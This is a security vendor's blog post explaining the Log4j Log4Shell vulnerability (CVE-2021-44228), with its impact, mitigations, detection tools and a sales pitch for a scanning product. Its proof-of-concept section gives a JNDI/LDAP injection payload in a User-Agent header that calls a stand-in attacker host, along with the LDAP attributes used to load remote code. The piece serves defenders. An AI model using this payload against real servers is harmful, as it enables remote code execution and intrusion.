Blog

Apache Log4j Remote Code Execution – CVE-2021-44228

7 min.

December 12, 2021

On December 9th, the most critical zero-day exploit in recent years was discovered affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.

This vulnerability is also known as CVE-2021-44228 which has a CVSS (Common Vulnerability Scoring System) score of 10, which is the highest risk possible and was published by GitHub advisory with a critical severity level.

According to Google’s open-source scorecard project, which calculate a health score for open-source repositories, log4j received 4.8 (from 1-10, 10 being the best score).

How to remediate the Log4j RCE vulnerability?

The easiest and most recommended way to remediate this vulnerability is to update to log4j version 2.15.0 or later.
If updating the package is an issue, then in previous releases 2.10.0 through 2.15.0, this exploitable behavior can be mitigated by setting the system property to:

log4j2.formatMsgNoLookups=true

Additionally, an environment variable can be set for these same affected versions:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

For releases from 2.0-beta9 to 2.10.0, removing JndiLookup class from the classpath would be the solution. The command to perform such action is:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

You can find more details in the GitHub commit that fixes this vulnerability.

Why is it so critical?

Amazon, Apple, Twitter, Minecraft, Cloudflare, Steam: this is only a very partial list of organizations that are impacted by this vulnerability.

According to New Zealand CERT (Computer Emergency Response Team) and Greynoise monitoring service, attackers are actively looking for vulnerable servers to exploit this attack, and there are more than 100 distinct hosts that are scanning the internet in order to find ways to exploit such vulnerability.

The impact is wide-scale as log4j is an extremely common logging library used across most Java applications, including in business systems to record log information.

Less than 24 hours after the publication of this vulnerability, there was already a crypto-miner deployed that took advantage of this vulnerability.

Am I vulnerable?

You can freely check if your domain is vulnerable to CVE-2021-44228 using open-source testing tools, like GitHub – huntresslabs/log4shell-tester for example.

Also, in case your application uses log4j below 2.15.0 as a direct package or transitive package, you are vulnerable.
Another way to verify is to check these hashes in your software inventory, in case you find them, you use vulnerable log4j in your systems:

GitHub – mubix/CVE-2021-44228-Log4Shell-Hashes: Hashes for vulnerable LOG4J versions

As of Monday, December 13th, 2021 13:00 CET, a workaround was found to bypass the trustURLCodebase=false setting. To be as secure as possible, we recommend updating your log4j library, instead of relying on any of the other patches.

Source: Fastly

How does it work?

First, let us dive deeper to understand the components used in this attack: JNDI (Java Naming and Directory Interface) is a Java API (Application Programming Interfaces) for a directory service that allows you to interface with LDAP or DNS (Domain Name Service) to look up data and resources.

LDAP (Lightweight Directory Access Protocol) is an open and cross-platform protocol used for directory services authentication.

From the Java official documentation, we can see an example of communicating with the LDAP server to retrieve attributes from an object.

The LDAP server could be located anywhere on the internet, which means that if an attacker could control the LDAP URL, he would be able to load an object using a Java program, under a server in his control.

Exploiting CVE-2021-44228

This attack is a combination of multiple vectors:

  1. Lack of Input validation
  2. Unauthenticated SSRF
  3. Lack of whitelisting protocols for JNDI client

log4j uses special syntax in the form of ${prefix:name} where prefix is a lookup and name is evaluated.
For example, ${java:version} is the currently running version of Java.

In this case, by overriding the ${prefix:name} prefix, the attacker could trigger the server to send a malicious request via the lookups function. This occurs due to the lack of validation of the prefix special syntax offered by log4j. By adding a custom prefix, an attacker could control the type of protocol, as for this attack it is LDAP. We should point out that the main logic for this attack vector (controlling the input in a JNDI lookup function) is a known exploit and it was published a few years ago – https://github.com/welk1n/JNDI-Injection-Exploit

A Possible PoC

One of the data types that might be returned is a URL pointing to a Java class, which might be an untrusted class, which runs a malicious actor’s code.

An example of logger that logs HTTP (HyperText Transfer Protocol) information:

LOGGER.warn("Request User-Agent: {}", userAgent);

An attacker might insert the payload to the User-Agent header:

User-Agent: ${jndi:ldap://AttackerServer.com/<path_to_malicious_class>}

In this scenario, the vulnerable log4j server will make an LDAP query to AttackerServer.com.

AttackerServer.com will then respond with directory information containing the malicious_class attributes:

javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>

The javaFactory and javaCodeBase values are then used to build the object location that contains the Java class representing the final payload.

The Java class will be loaded into memory and executed by the vulnerable log4j server.

For example, an attacker could create a class that uses an object which returns the results of any command, like ls, to an external URL.

The logger will evaluate the payload, call the malicious attacker server, and fetch the code written in the object.

Exploitable path:

The vulnerability described in CVE-2021-44228 is caused by log4j-core’s jndiLookup functionality, which log4j-api does not provide and so it is not vulnerable by itself for the log4shell vulnerabilities. However, log4j-api package provides the interface and the adapter components required for implementing log4j-core’s logging capabilities.

These functions are reached by the following logger functions, which are defined in the Logger.java file:

  • Logger.debug()
  • Logger.error()
  • Logger.warn()
  • Logger.fatal()
  • Logger.info()
  • Logger.trace()
  • Logger.log()

CxSCA Mitigation

Checkmarx offers CxSCA, which enables your organization to address open-source security issues earlier in the SDLC (Software Development Life Cycle) and cut down on manual processes by scanning your code, identifying the security risk it contains, so you can deliver secure & compliant software faster and at scale. SBOM (software bill of materials) automation at scale seems like the need of the hour for anyone that uses open source code.


For a free demonstration of CxSCA, please contact us here.